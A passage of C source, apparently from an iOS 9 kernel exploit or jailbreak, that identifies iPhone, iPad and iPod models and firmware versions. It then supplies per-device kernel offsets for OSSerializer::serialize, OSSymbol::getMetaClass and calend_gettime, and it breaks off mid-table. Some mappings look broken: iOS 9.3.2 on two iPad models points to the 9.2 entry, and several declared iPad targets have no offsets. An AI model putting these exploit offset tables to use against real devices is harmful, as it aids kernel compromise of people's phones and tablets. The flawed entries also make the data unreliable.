
#define determineTarget(modelIdentifier, swVers, target) if (!string_compare(device_model, modelIdentifier)) { if (!string_compare(system_version, swVers)) { return target; }}

typedef enum {
    NotSupported,
    iPhone41_iOS902,
    iPhone41_iOS910,
    iPhone41_iOS920,
    iPhone41_iOS921,
    iPhone41_iOS930,
    iPhone41_iOS931,
    iPhone41_iOS932,
    iPhone41_iOS933,
    iPhone41_iOS934,
    iPhone51_iOS910,
    iPhone51_iOS920,
    iPhone51_iOS921,
    iPhone51_iOS930,
    iPhone51_iOS931,
    iPhone51_iOS932,
    iPhone51_iOS933,
    iPhone51_iOS934,
    iPhone52_iOS902,
    iPhone52_iOS910,
    iPhone52_iOS920,
    iPhone52_iOS921,
    iPhone52_iOS930,
    iPhone52_iOS931,
    iPhone52_iOS932,
    iPhone52_iOS933,
    iPhone52_iOS934,
    iPhone53_iOS910,
    iPhone53_iOS920,
    iPhone53_iOS921,
    iPhone53_iOS930,
    iPhone53_iOS931,
    iPhone53_iOS932,
    iPhone53_iOS933,
    iPhone53_iOS934,
    iPhone54_iOS910,
    iPhone54_iOS920,
    iPhone54_iOS921,
    iPhone54_iOS930,
    iPhone54_iOS931,
    iPhone54_iOS932,
    iPhone54_iOS933,
    iPhone54_iOS934,
    iPad21_iOS910,
    iPad21_iOS920,
    iPad21_iOS921,
    iPad21_iOS930,
    iPad21_iOS931,
    iPad21_iOS932,
    iPad21_iOS933,
    iPad21_iOS934,
    iPad22_iOS910,
    iPad22_iOS920,
    iPad22_iOS921,
    iPad22_iOS930,
    iPad22_iOS931,
    iPad22_iOS932,
    iPad22_iOS933,
    iPad22_iOS934,
    iPad23_iOS910,
    iPad23_iOS920,
    iPad23_iOS921,
    iPad23_iOS930,
    iPad23_iOS931,
    iPad23_iOS932,
    iPad23_iOS933,
    iPad23_iOS934,
    iPad24_iOS910,
    iPad24_iOS920,
    iPad24_iOS921,
    iPad24_iOS930,
    iPad24_iOS931,
    iPad24_iOS932,
    iPad24_iOS933,
    iPad24_iOS934,
    iPad25_iOS902,
    iPad25_iOS910,
    iPad25_iOS920,
    iPad25_iOS921,
    iPad25_iOS930,
    iPad25_iOS931,
    iPad25_iOS932,
    iPad25_iOS933,
    iPad25_iOS934,
    iPad26_iOS910,
    iPad26_iOS920,
    iPad26_iOS921,
    iPad26_iOS930,
    iPad26_iOS931,
    iPad26_iOS932,
    iPad26_iOS933,
    iPad26_iOS934,
    iPad27_iOS910,
    iPad27_iOS920,
    iPad27_iOS921,
    iPad27_iOS930,
    iPad27_iOS931,
    iPad27_iOS932,
    iPad27_iOS933,
    iPad27_iOS934,
    iPad31_iOS910,
    iPad31_iOS920,
    iPad31_iOS921,
    iPad31_iOS930,
    iPad31_iOS931,
    iPad31_iOS932,
    iPad31_iOS933,
    iPad31_iOS934,
    iPad32_iOS910,
    iPad32_iOS920,
    iPad32_iOS921,
    iPad32_iOS930,
    iPad32_iOS931,
    iPad32_iOS932,
    iPad32_iOS933,
    iPad32_iOS934,
    iPad33_iOS902,
    iPad33_iOS910,
    iPad33_iOS920,
    iPad33_iOS921,
    iPad33_iOS930,
    iPad33_iOS931,
    iPad33_iOS932,
    iPad33_iOS933,
    iPad33_iOS934,
    iPad34_iOS910,
    iPad34_iOS920,
    iPad34_iOS921,
    iPad34_iOS930,
    iPad34_iOS931,
    iPad34_iOS932,
    iPad34_iOS933,
    iPad34_iOS934,
    iPad35_iOS910,
    iPad35_iOS920,
    iPad35_iOS921,
    iPad35_iOS930,
    iPad35_iOS931,
    iPad35_iOS932,
    iPad35_iOS933,
    iPad35_iOS934,
    iPad36_iOS910,
    iPad36_iOS920,
    iPad36_iOS921,
    iPad36_iOS930,
    iPad36_iOS931,
    iPad36_iOS932,
    iPad36_iOS933,
    iPad36_iOS934,
    iPod51_iOS910,
    iPod51_iOS920,
    iPod51_iOS921,
    iPod51_iOS930,
    iPod51_iOS931,
    iPod51_iOS932,
    iPod51_iOS933,
    iPod51_iOS934
} t_target_environment;

static t_target_environment target_environment;

t_target_environment info_to_target_environment(const char *device_model, const char *system_version) {
    determineTarget("iPhone4,1", "9.0.2", iPhone41_iOS902);
    determineTarget("iPhone4,1", "9.1", iPhone41_iOS910);
    determineTarget("iPhone4,1", "9.2", iPhone41_iOS920);
    determineTarget("iPhone4,1", "9.2.1", iPhone41_iOS921);
    determineTarget("iPhone4,1", "9.3", iPhone41_iOS930);
    determineTarget("iPhone4,1", "9.3.1", iPhone41_iOS931);
    determineTarget("iPhone4,1", "9.3.2", iPhone41_iOS932);
    determineTarget("iPhone4,1", "9.3.3", iPhone41_iOS933);
    determineTarget("iPhone4,1", "9.3.4", iPhone41_iOS934);
    determineTarget("iPhone5,1", "9.1", iPhone51_iOS910);
    determineTarget("iPhone5,1", "9.2", iPhone51_iOS920);
    determineTarget("iPhone5,1", "9.2.1", iPhone51_iOS921);
    determineTarget("iPhone5,1", "9.3", iPhone51_iOS930);
    determineTarget("iPhone5,1", "9.3.1", iPhone51_iOS931);
    determineTarget("iPhone5,1", "9.3.2", iPhone51_iOS932);
    determineTarget("iPhone5,1", "9.3.3", iPhone51_iOS933);
    determineTarget("iPhone5,1", "9.3.4", iPhone51_iOS934);
    determineTarget("iPhone5,2", "9.0.2", iPhone52_iOS902);
    determineTarget("iPhone5,2", "9.1", iPhone52_iOS910);
    determineTarget("iPhone5,2", "9.2", iPhone52_iOS920);
    determineTarget("iPhone5,2", "9.2.1", iPhone52_iOS921);
    determineTarget("iPhone5,2", "9.3", iPhone52_iOS930);
    determineTarget("iPhone5,2", "9.3.1", iPhone52_iOS931);
    determineTarget("iPhone5,2", "9.3.2", iPhone52_iOS932);
    determineTarget("iPhone5,2", "9.3.3", iPhone52_iOS933);
    determineTarget("iPhone5,2", "9.3.4", iPhone52_iOS934);
    determineTarget("iPhone5,3", "9.1", iPhone53_iOS910);
    determineTarget("iPhone5,3", "9.2", iPhone53_iOS920);
    determineTarget("iPhone5,3", "9.2.1", iPhone53_iOS921);
    determineTarget("iPhone5,3", "9.3", iPhone53_iOS930);
    determineTarget("iPhone5,3", "9.3.1", iPhone53_iOS931);
    determineTarget("iPhone5,3", "9.3.2", iPhone53_iOS932);
    determineTarget("iPhone5,3", "9.3.3", iPhone53_iOS933);
    determineTarget("iPhone5,3", "9.3.4", iPhone53_iOS934);
    determineTarget("iPhone5,4", "9.1", iPhone54_iOS910);
    determineTarget("iPhone5,4", "9.2", iPhone54_iOS920);
    determineTarget("iPhone5,4", "9.2.1", iPhone54_iOS921);
    determineTarget("iPhone5,4", "9.3", iPhone54_iOS930);
    determineTarget("iPhone5,4", "9.3.1", iPhone54_iOS931);
    determineTarget("iPhone5,4", "9.3.2", iPhone54_iOS932);
    determineTarget("iPhone5,4", "9.3.3", iPhone54_iOS933);
    determineTarget("iPhone5,4", "9.3.4", iPhone54_iOS934);
    determineTarget("iPad2,1", "9.1", iPad21_iOS910);
    determineTarget("iPad2,1", "9.2", iPad21_iOS920);
    determineTarget("iPad2,1", "9.2.1", iPad21_iOS921);
    determineTarget("iPad2,1", "9.3", iPad21_iOS930);
    determineTarget("iPad2,1", "9.3.1", iPad21_iOS931);
    determineTarget("iPad2,1", "9.3.2", iPad21_iOS932);
    determineTarget("iPad2,1", "9.3.3", iPad21_iOS933);
    determineTarget("iPad2,1", "9.3.4", iPad21_iOS934);
    determineTarget("iPad2,2", "9.1", iPad22_iOS910);
    determineTarget("iPad2,2", "9.2", iPad22_iOS920);
    determineTarget("iPad2,2", "9.2.1", iPad22_iOS921);
    determineTarget("iPad2,2", "9.3", iPad22_iOS930);
    determineTarget("iPad2,2", "9.3.1", iPad22_iOS931);
    determineTarget("iPad2,2", "9.3.2", iPad22_iOS932);
    determineTarget("iPad2,2", "9.3.3", iPad22_iOS933);
    determineTarget("iPad2,2", "9.3.4", iPad22_iOS934);
    determineTarget("iPad2,3", "9.1", iPad23_iOS910);
    determineTarget("iPad2,3", "9.2", iPad23_iOS920);
    determineTarget("iPad2,3", "9.2.1", iPad23_iOS921);
    determineTarget("iPad2,3", "9.3.0", iPad23_iOS930);
    determineTarget("iPad2,3", "9.3.1", iPad23_iOS931);
    determineTarget("iPad2,3", "9.3.2", iPad23_iOS920);
    determineTarget("iPad2,3", "9.3.3", iPad23_iOS933);
    determineTarget("iPad2,3", "9.3.4", iPad23_iOS934);
    determineTarget("iPad2,4", "9.1", iPad24_iOS910);
    determineTarget("iPad2,4", "9.2", iPad24_iOS920);
    determineTarget("iPad2,4", "9.2.1", iPad24_iOS921);
    determineTarget("iPad2,4", "9.3.0", iPad24_iOS930);
    determineTarget("iPad2,4", "9.3.1", iPad24_iOS931);
    determineTarget("iPad2,4", "9.3.2", iPad24_iOS920);
    determineTarget("iPad2,4", "9.3.3", iPad24_iOS933);
    determineTarget("iPad2,4", "9.3.4", iPad24_iOS934);
    determineTarget("iPad2,5", "9.0.2", iPad25_iOS902);
    determineTarget("iPad2,5", "9.1", iPad25_iOS910);
    determineTarget("iPad2,5", "9.2", iPad25_iOS920);
    determineTarget("iPad2,5", "9.2.1", iPad25_iOS921);
    determineTarget("iPad2,5", "9.3", iPad25_iOS930);
    determineTarget("iPad2,5", "9.3.1", iPad25_iOS931);
    determineTarget("iPad2,5", "9.3.2", iPad25_iOS932);
    determineTarget("iPad2,5", "9.3.3", iPad25_iOS933);
    determineTarget("iPad2,5", "9.3.4", iPad25_iOS934);
    determineTarget("iPad2,6", "9.1", iPad26_iOS910);
    determineTarget("iPad2,6", "9.2", iPad26_iOS920);
    determineTarget("iPad2,6", "9.2.1", iPad26_iOS921);
    determineTarget("iPad2,6", "9.3", iPad26_iOS930);
    determineTarget("iPad2,6", "9.3.1", iPad26_iOS931);
    determineTarget("iPad2,6", "9.3.2", iPad26_iOS932);
    determineTarget("iPad2,6", "9.3.3", iPad26_iOS933);
    determineTarget("iPad2,6", "9.3.4", iPad26_iOS934);
    determineTarget("iPad2,7", "9.1", iPad27_iOS910);
    determineTarget("iPad2,7", "9.2", iPad27_iOS920);
    determineTarget("iPad2,7", "9.2.1", iPad27_iOS921);
    determineTarget("iPad2,7", "9.3", iPad27_iOS930);
    determineTarget("iPad2,7", "9.3.1", iPad27_iOS931);
    determineTarget("iPad2,7", "9.3.2", iPad27_iOS932);
    determineTarget("iPad2,7", "9.3.3", iPad27_iOS933);
    determineTarget("iPad2,7", "9.3.4", iPad27_iOS934);
    determineTarget("iPad3,1", "9.1", iPad31_iOS910);
    determineTarget("iPad3,1", "9.2", iPad31_iOS920);
    determineTarget("iPad3,1", "9.2.1", iPad31_iOS921);
    determineTarget("iPad3,1", "9.3.0", iPad31_iOS930);
    determineTarget("iPad3,1", "9.3.1", iPad31_iOS931);
    determineTarget("iPad3,1", "9.3.2", iPad31_iOS932);
    determineTarget("iPad3,1", "9.3.3", iPad31_iOS933);
    determineTarget("iPad3,1", "9.3.4", iPad31_iOS934);
    determineTarget("iPad3,2", "9.1", iPad32_iOS910);
    determineTarget("iPad3,2", "9.2", iPad32_iOS920);
    determineTarget("iPad3,2", "9.2.1", iPad32_iOS921);
    determineTarget("iPad3,2", "9.3.0", iPad32_iOS930);
    determineTarget("iPad3,2", "9.3.1", iPad32_iOS931);
    determineTarget("iPad3,2", "9.3.2", iPad32_iOS932);
    determineTarget("iPad3,2", "9.3.3", iPad32_iOS933);
    determineTarget("iPad3,2", "9.3.4", iPad32_iOS934);
    determineTarget("iPad3,3", "9.0.2", iPad33_iOS902);
    determineTarget("iPad3,3", "9.1", iPad33_iOS910);
    determineTarget("iPad3,3", "9.2", iPad33_iOS920);
    determineTarget("iPad3,3", "9.2.1", iPad33_iOS921);
    determineTarget("iPad3,3", "9.3", iPad33_iOS930);
    determineTarget("iPad3,3", "9.3.1", iPad33_iOS931);
    determineTarget("iPad3,3", "9.3.2", iPad33_iOS932);
    determineTarget("iPad3,3", "9.3.3", iPad33_iOS933);
    determineTarget("iPad3,3", "9.3.4", iPad33_iOS934);
    determineTarget("iPad3,4", "9.1", iPad34_iOS910);
    determineTarget("iPad3,4", "9.2", iPad34_iOS920);
    determineTarget("iPad3,4", "9.2.1", iPad34_iOS921);
    determineTarget("iPad3,4", "9.3", iPad34_iOS930);
    determineTarget("iPad3,4", "9.3.1", iPad34_iOS931);
    determineTarget("iPad3,4", "9.3.2", iPad34_iOS932);
    determineTarget("iPad3,4", "9.3.3", iPad34_iOS933);
    determineTarget("iPad3,4", "9.3.4", iPad34_iOS934);
    determineTarget("iPad3,5", "9.1", iPad35_iOS910);
    determineTarget("iPad3,5", "9.2", iPad35_iOS920);
    determineTarget("iPad3,5", "9.2.1", iPad35_iOS921);
    determineTarget("iPad3,5", "9.3", iPad35_iOS930);
    determineTarget("iPad3,5", "9.3.1", iPad35_iOS931);
    determineTarget("iPad3,5", "9.3.2", iPad35_iOS932);
    determineTarget("iPad3,5", "9.3.3", iPad35_iOS933);
    determineTarget("iPad3,5", "9.3.4", iPad35_iOS934);
    determineTarget("iPad3,6", "9.1", iPad36_iOS910);
    determineTarget("iPad3,6", "9.2", iPad36_iOS920);
    determineTarget("iPad3,6", "9.2.1", iPad36_iOS921);
    determineTarget("iPad3,6", "9.3", iPad36_iOS930);
    determineTarget("iPad3,6", "9.3.1", iPad36_iOS931);
    determineTarget("iPad3,6", "9.3.2", iPad36_iOS932);
    determineTarget("iPad3,6", "9.3.3", iPad36_iOS933);
    determineTarget("iPad3,6", "9.3.4", iPad36_iOS934);
    determineTarget("iPod5,1", "9.1", iPod51_iOS910);
    determineTarget("iPod5,1", "9.2", iPod51_iOS920);
    determineTarget("iPod5,1", "9.2.1", iPod51_iOS921);
    determineTarget("iPod5,1", "9.3", iPod51_iOS930);
    determineTarget("iPod5,1", "9.3.1", iPod51_iOS931);
    determineTarget("iPod5,1", "9.3.2", iPod51_iOS932);
    determineTarget("iPod5,1", "9.3.3", iPod51_iOS933);
    determineTarget("iPod5,1", "9.3.4", iPod51_iOS934);
    return 0;
}

static inline unsigned int find_OSSerializer_serialize(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0x317de4;
        case iPhone41_iOS910: return 0x319450;
        case iPhone41_iOS920: return 0x3106fc;
        case iPhone41_iOS921: return 0x3107fc;
        case iPhone41_iOS930: return 0x31812c;
        case iPhone41_iOS931: return 0x31812c;
        case iPhone41_iOS932: return 0x318264;
        case iPhone41_iOS933: return 0x318388;
        case iPhone41_iOS934: return 0x318388;
        case iPhone51_iOS910: return 0x31fd1c;
        case iPhone51_iOS920: return 0x317768;
        case iPhone51_iOS921: return 0x317868;
        case iPhone51_iOS930: return 0x31ef50;
        case iPhone51_iOS931: return 0x31ef50;
        case iPhone51_iOS932: return 0x302e3c;
        case iPhone51_iOS933: return 0x31f13c;
        case iPhone51_iOS934: return 0x31f13c;
        case iPhone52_iOS902: return 0x31e7bc;
        case iPhone52_iOS910: return 0x31fd1c;
        case iPhone52_iOS920: return 0x317768;
        case iPhone52_iOS921: return 0x317868;
        case iPhone52_iOS930: return 0x31ef50;
        case iPhone52_iOS931: return 0x31ef50;
        case iPhone52_iOS932: return 0x31ef58;
        case iPhone52_iOS933: return 0x31f13c;
        case iPhone52_iOS934: return 0x31f13c;
        case iPhone53_iOS910: return 0x31fd1c;
        case iPhone53_iOS920: return 0x317768;
        case iPhone53_iOS921: return 0x317868;
        case iPhone53_iOS930: return 0x31ef50;
        case iPhone53_iOS931: return 0x31ef50;
        case iPhone53_iOS932: return 0x31ef58;
        case iPhone53_iOS933: return 0x31f13c;
        case iPhone53_iOS934: return 0x31f13c;
        case iPhone54_iOS910: return 0x31fd1c;
        case iPhone54_iOS920: return 0x317768;
        case iPhone54_iOS921: return 0x317868;
        case iPhone54_iOS930: return 0x31ef50;
        case iPhone54_iOS931: return 0x31ef50;
        case iPhone54_iOS932: return 0x31ed7c;
        case iPhone54_iOS933: return 0x31f13c;
        case iPhone54_iOS934: return 0x31f13c;
        case iPad21_iOS910: return 0x319450;
        case iPad21_iOS920: return 0x3106fc;
        case iPad21_iOS921: return 0x3107fc;
        case iPad21_iOS930: return 0x31812c;
        case iPad21_iOS931: return 0x31812c;
        case iPad21_iOS932: return 0x318264;
        case iPad21_iOS933: return 0x318388;
        case iPad21_iOS934: return 0x318388;
        case iPad22_iOS910: return 0x319450;
        case iPad22_iOS920: return 0x3106fc;
        case iPad22_iOS921: return 0x3107fc;
        case iPad22_iOS930: return 0x31812c;
        case iPad22_iOS931: return 0x31812c;
        case iPad22_iOS932: return 0x318264;
        case iPad22_iOS933: return 0x318388;
        case iPad22_iOS934: return 0x318388;
        case iPad23_iOS910: return 0x319450;
        case iPad23_iOS920: return 0x3106fc;
        case iPad23_iOS921: return 0x3107fc;
        case iPad23_iOS930: return 0x31812c;
        case iPad23_iOS931: return 0x31812c;
        case iPad23_iOS932: return 0x318264;
        case iPad23_iOS933: return 0x318388;
        case iPad23_iOS934: return 0x318388;
        case iPad24_iOS910: return 0x319450;
        case iPad24_iOS920: return 0x3106fc;
        case iPad24_iOS921: return 0x3107fc;
        case iPad24_iOS930: return 0x31812c;
        case iPad24_iOS931: return 0x31812c;
        case iPad24_iOS932: return 0x318264;
        case iPad24_iOS933: return 0x318388;
        case iPad24_iOS934: return 0x318388;
        case iPad25_iOS902: return 0x317de4;
        case iPad31_iOS910: return 0x319450;
        case iPad31_iOS920: return 0x3106fc;
        case iPad31_iOS921: return 0x3107fc;
        case iPad31_iOS930: return 0x31812c;
        case iPad31_iOS931: return 0x31812c;
        case iPad31_iOS932: return 0x318264;
        case iPad31_iOS933: return 0x318388;
        case iPad31_iOS934: return 0x318388;
        case iPad32_iOS910: return 0x319450;
        case iPad32_iOS920: return 0x3106fc;
        case iPad32_iOS921: return 0x3107fc;
        case iPad32_iOS930: return 0x31812c;
        case iPad32_iOS931: return 0x31812c;
        case iPad32_iOS932: return 0x318264;
        case iPad32_iOS933: return 0x318388;
        case iPad32_iOS934: return 0x318388;
        case iPad33_iOS902: return 0x317de4;
        case iPad33_iOS910: return 0x319450;
        case iPad33_iOS920: return 0x3106fc;
        case iPad33_iOS921: return 0x3107fc;
        case iPad33_iOS930: return 0x31812c;
        case iPad33_iOS931: return 0x31812c;
        case iPad33_iOS932: return 0x318264;
        case iPad33_iOS933: return 0x318388;
        case iPad33_iOS934: return 0x318388;
        case iPad34_iOS910: return 0x31fd1c;
        case iPad34_iOS920: return 0x317768;
        case iPad34_iOS921: return 0x317868;
        case iPad34_iOS930: return 0x31ef50;
        case iPad34_iOS931: return 0x31ef50;
        case iPad34_iOS932: return 0x31ef58;
        case iPad34_iOS933: return 0x31f13c;
        case iPad34_iOS934: return 0x31f13c;
        case iPad35_iOS910: return 0x31fd1c;
        case iPad35_iOS920: return 0x317768;
        case iPad35_iOS921: return 0x317868;
        case iPad35_iOS930: return 0x31ef50;
        case iPad35_iOS931: return 0x31ef50;
        case iPad35_iOS932: return 0x31ef58;
        case iPad35_iOS933: return 0x31f13c;
        case iPad35_iOS934: return 0x31f13c;
        case iPad36_iOS910: return 0x31fd1c;
        case iPad36_iOS920: return 0x317768;
        case iPad36_iOS921: return 0x317868;
        case iPad36_iOS930: return 0x31ef50;
        case iPad36_iOS931: return 0x31ef50;
        case iPad36_iOS932: return 0x31ef58;
        case iPad36_iOS933: return 0x31f13c;
        case iPad36_iOS934: return 0x31f13c;
        case iPod51_iOS910: return 0x319450;
        case iPod51_iOS920: return 0x3106fc;
        case iPod51_iOS921: return 0x3107fc;
        case iPod51_iOS930: return 0x31812c;
        case iPod51_iOS931: return 0x31812c;
        case iPod51_iOS932: return 0x318264;
        case iPod51_iOS933: return 0x318388;
        case iPod51_iOS934: return 0x318388;
        default: return 0;
    }
}

static inline unsigned int find_OSSymbol_getMetaClass(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0x31a5d0;
        case iPhone41_iOS910: return 0x31bc3c;
        case iPhone41_iOS920: return 0x312e18;
        case iPhone41_iOS921: return 0x312f18;
        case iPhone41_iOS930: return 0x31a934;
        case iPhone41_iOS931: return 0x31a934;
        case iPhone41_iOS932: return 0x31aa6c;
        case iPhone41_iOS933: return 0x31ab90;
        case iPhone41_iOS934: return 0x31ab90;
        case iPhone51_iOS910: return 0x322460;
        case iPhone51_iOS920: return 0x319ea0;
        case iPhone51_iOS921: return 0x319fa0;
        case iPhone51_iOS930: return 0x321810;
        case iPhone51_iOS931: return 0x321810;
        case iPhone51_iOS932: return 0x321818;
        case iPhone51_iOS933: return 0x3219fc;
        case iPhone51_iOS934: return 0x3219fc;
        case iPhone52_iOS902: return 0x320f00;
        case iPhone52_iOS910: return 0x322460;
        case iPhone52_iOS920: return 0x319ea0;
        case iPhone52_iOS921: return 0x319fa0;
        case iPhone52_iOS930: return 0x321810;
        case iPhone52_iOS931: return 0x321810;
        case iPhone52_iOS932: return 0x321818;
        case iPhone52_iOS933: return 0x3219fc;
        case iPhone52_iOS934: return 0x3219fc;
        case iPhone53_iOS910: return 0x322460;
        case iPhone53_iOS920: return 0x319ea0;
        case iPhone53_iOS921: return 0x319fa0;
        case iPhone53_iOS930: return 0x321810;
        case iPhone53_iOS931: return 0x321810;
        case iPhone53_iOS932: return 0x321818;
        case iPhone53_iOS933: return 0x3219fc;
        case iPhone53_iOS934: return 0x3219fc;
        case iPhone54_iOS910: return 0x322460;
        case iPhone54_iOS920: return 0x319ea0;
        case iPhone54_iOS921: return 0x319fa0;
        case iPhone54_iOS930: return 0x321810;
        case iPhone54_iOS931: return 0x321810;
        case iPhone54_iOS932: return 0x321818;
        case iPhone54_iOS933: return 0x3219fc;
        case iPhone54_iOS934: return 0x3219fc;
        case iPad21_iOS910: return 0x31bc3c;
        case iPad21_iOS920: return 0x312e18;
        case iPad21_iOS921: return 0x312f18;
        case iPad21_iOS930: return 0x31a934;
        case iPad21_iOS931: return 0x31a934;
        case iPad21_iOS932: return 0x31aa6c;
        case iPad21_iOS933: return 0x31ab90;
        case iPad21_iOS934: return 0x31ab90;
        case iPad22_iOS910: return 0x31bc3c;
        case iPad22_iOS920: return 0x312e18;
        case iPad22_iOS921: return 0x312f18;
        case iPad22_iOS930: return 0x31a934;
        case iPad22_iOS931: return 0x31a934;
        case iPad22_iOS932: return 0x31aa6c;
        case iPad22_iOS933: return 0x31ab90;
        case iPad22_iOS934: return 0x31ab90;
        case iPad23_iOS910: return 0x31bc3c;
        case iPad23_iOS920: return 0x312e18;
        case iPad23_iOS921: return 0x312f18;
        case iPad23_iOS930: return 0x31a934;
        case iPad23_iOS931: return 0x31a934;
        case iPad23_iOS932: return 0x31aa6c;
        case iPad23_iOS933: return 0x31ab90;
        case iPad23_iOS934: return 0x31ab90;
        case iPad24_iOS910: return 0x31bc3c;
        case iPad24_iOS920: return 0x312e18;
        case iPad24_iOS921: return 0x312f18;
        case iPad24_iOS930: return 0x31a934;
        case iPad24_iOS931: return 0x31a934;
        case iPad24_iOS932: return 0x31aa6c;
        case iPad24_iOS933: return 0x31ab90;
        case iPad24_iOS934: return 0x31ab90;
        case iPad25_iOS902: return 0x31a5d0;
        case iPad31_iOS910: return 0x31bc3c;
        case iPad31_iOS920: return 0x312e18;
        case iPad31_iOS921: return 0x312f18;
        case iPad31_iOS930: return 0x31a934;
        case iPad31_iOS931: return 0x31a934;
        case iPad31_iOS932: return 0x31aa6c;
        case iPad31_iOS933: return 0x31ab90;
        case iPad31_iOS934: return 0x31ab90;
        case iPad32_iOS910: return 0x31bc3c;
        case iPad32_iOS920: return 0x312e18;
        case iPad32_iOS921: return 0x312f18;
        case iPad32_iOS930: return 0x31a934;
        case iPad32_iOS931: return 0x31a934;
        case iPad32_iOS932: return 0x31aa6c;
        case iPad32_iOS933: return 0x31ab90;
        case iPad32_iOS934: return 0x31ab90;
        case iPad33_iOS902: return 0x31a5d0;
        case iPad33_iOS910: return 0x31bc3c;
        case iPad33_iOS920: return 0x312e18;
        case iPad33_iOS921: return 0x312f18;
        case iPad33_iOS930: return 0x31a934;
        case iPad33_iOS931: return 0x31a934;
        case iPad33_iOS932: return 0x31aa6c;
        case iPad33_iOS933: return 0x31ab90;
        case iPad33_iOS934: return 0x31ab90;
        case iPad34_iOS910: return 0x322460;
        case iPad34_iOS920: return 0x319ea0;
        case iPad34_iOS921: return 0x319fa0;
        case iPad34_iOS930: return 0x321810;
        case iPad34_iOS931: return 0x321810;
        case iPad34_iOS932: return 0x321818;
        case iPad34_iOS933: return 0x3219fc;
        case iPad34_iOS934: return 0x3219fc;
        case iPad35_iOS910: return 0x322460;
        case iPad35_iOS920: return 0x319ea0;
        case iPad35_iOS921: return 0x319fa0;
        case iPad35_iOS930: return 0x321810;
        case iPad35_iOS931: return 0x321810;
        case iPad35_iOS932: return 0x321818;
        case iPad35_iOS933: return 0x3219fc;
        case iPad35_iOS934: return 0x3219fc;
        case iPad36_iOS910: return 0x322460;
        case iPad36_iOS920: return 0x319ea0;
        case iPad36_iOS921: return 0x319fa0;
        case iPad36_iOS930: return 0x321810;
        case iPad36_iOS931: return 0x321810;
        case iPad36_iOS932: return 0x321818;
        case iPad36_iOS933: return 0x3219fc;
        case iPad36_iOS934: return 0x3219fc;
        case iPod51_iOS910: return 0x31bc3c;
        case iPod51_iOS920: return 0x312e18;
        case iPod51_iOS921: return 0x312f18;
        case iPod51_iOS930: return 0x31a934;
        case iPod51_iOS931: return 0x31a934;
        case iPod51_iOS932: return 0x31aa6c;
        case iPod51_iOS933: return 0x31ab90;
        case iPod51_iOS934: return 0x31ab90;
        default: return 0;
    }
}

static inline unsigned int find_calend_gettime(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0x1daec;
        case iPhone41_iOS910: return 0x1db34;
        case iPhone41_iOS920: return 0x1de84;
        case iPhone41_iOS921: return 0x1de60;
        case iPhone41_iOS930: return 0x1e170;
        case iPhone41_iOS931: return 0x1e170;
        case iPhone41_iOS932: return 0x1e170;
        case iPhone41_iOS933: return 0x1e200;
        case iPhone41_iOS934: return 0x1e200;
        case iPhone51_iOS910: return 0x1e76c;
        case iPhone51_iOS920: return 0x1ebac;
        case iPhone51_iOS921: return 0x1eb88;
        case iPhone51_iOS930: return 0x1ee6c;
        case iPhone51_iOS931: return 0x1ee6c;
        case iPhone51_iOS932: return 0x1ee6c;
        case iPhone51_iOS933: return 0x1eeac;
        case iPhone51_iOS934: return 0x1eeac;
        case iPhone52_iOS902: return 0x1e718;
        case iPhone52_iOS910: return 0x1e76c;
        case iPhone52_iOS920: return 0x1ebac;
        case iPhone52_iOS921: return 0x1eb88;
        case iPhone52_iOS930: return 0x1ee6c;
        case iPhone52_iOS931: return 0x1ee6c;
        case iPhone52_iOS932: return 0x1ee6c;
        case iPhone52_iOS933: return 0x1eeac;
        case iPhone52_iOS934: return 0x1eeac;
        case iPhone53_iOS910: return 0x1e76c;
        case iPhone53_iOS920: return 0x1ebac;
        case iPhone53_iOS921: return 0x1eb88;
        case iPhone53_iOS930: return 0x1ee6c;
        case iPhone53_iOS931: return 0x1ee6c;
        case iPhone53_iOS932: return 0x1ee6c;
        case iPhone53_iOS933: return 0x1eeac;
        case iPhone53_iOS934: return 0x1eeac;
        case iPhone54_iOS910: return 0x1e76c;
        case iPhone54_iOS920: return 0x1ebac;
        case iPhone54_iOS921: return 0x1eb88;
        case iPhone54_iOS930: return 0x1ee6c;
        case iPhone54_iOS931: return 0x1ee6c;
        case iPhone54_iOS932: return 0x1ee6c;
        case iPhone54_iOS933: return 0x1eeac;
        case iPhone54_iOS934: return 0x1eeac;
        case iPad21_iOS910: return 0x1db34;
        case iPad21_iOS920: return 0x1de84;
        case iPad21_iOS921: return 0x1de60;
        case iPad21_iOS930: return 0x1e170;
        case iPad21_iOS931: return 0x1e170;
        case iPad21_iOS932: return 0x1e170;
        case iPad21_iOS933: return 0x1e200;
        case iPad21_iOS934: return 0x1e200;
        case iPad22_iOS910: return 0x1db34;
        case iPad22_iOS920: return 0x1de84;
        case iPad22_iOS921: return 0x1de60;
        case iPad22_iOS930: return 0x1e170;
        case iPad22_iOS931: return 0x1e170;
        case iPad22_iOS932: return 0x1e170;
        case iPad22_iOS933: return 0x1e200;
        case iPad22_iOS934: return 0x1e200;
        case iPad23_iOS910: return 0x1db34;
        case iPad23_iOS920: return 0x1de84;
        case iPad23_iOS921: return 0x1de60;
        case iPad23_iOS930: return 0x1e170;
        case iPad23_iOS931: return 0x1e170;
        case iPad23_iOS932: return 0x1e170;
        case iPad23_iOS933: return 0x1e200;
        case iPad23_iOS934: return 0x1e200;
        case iPad24_iOS910: return 0x1db34;
        case iPad24_iOS920: return 0x1de84;
        case iPad24_iOS921: return 0x1de60;
        case iPad24_iOS930: return 0x1e170;
        case iPad24_iOS931: return 0x1e170;
        case iPad24_iOS932: return 0x1e170;
        case iPad24_iOS933: return 0x1e200;
        case iPad24_iOS934: return 0x1e200;
        case iPad25_iOS902: return 0x1daec;
        case iPad31_iOS910: return 0x1db34;
        case iPad31_iOS920: return 0x1de84;
        case iPad31_iOS921: return 0x1de60;
        case iPad31_iOS930: return 0x1e170;
        case iPad31_iOS931: return 0x1e170;
        case iPad31_iOS932: return 0x1e170;
        case iPad31_iOS933: return 0x1e200;
        case iPad31_iOS934: return 0x1e200;
        case iPad32_iOS910: return 0x1db34;
        case iPad32_iOS920: return 0x1de84;
        case iPad32_iOS921: return 0x1de60;
        case iPad32_iOS930: return 0x1e170;
        case iPad32_iOS931: return 0x1e170;
        case iPad32_iOS932: return 0x1e170;
        case iPad32_iOS933: return 0x1e200;
        case iPad32_iOS934: return 0x1e200;
        case iPad33_iOS902: return 0x1daec;
        case iPad33_iOS910: return 0x1db34;
        case iPad33_iOS920: return 0x1de84;
        case iPad33_iOS921: return 0x1de60;
        case iPad33_iOS930: return 0x1e170;
        case iPad33_iOS931: return 0x1e170;
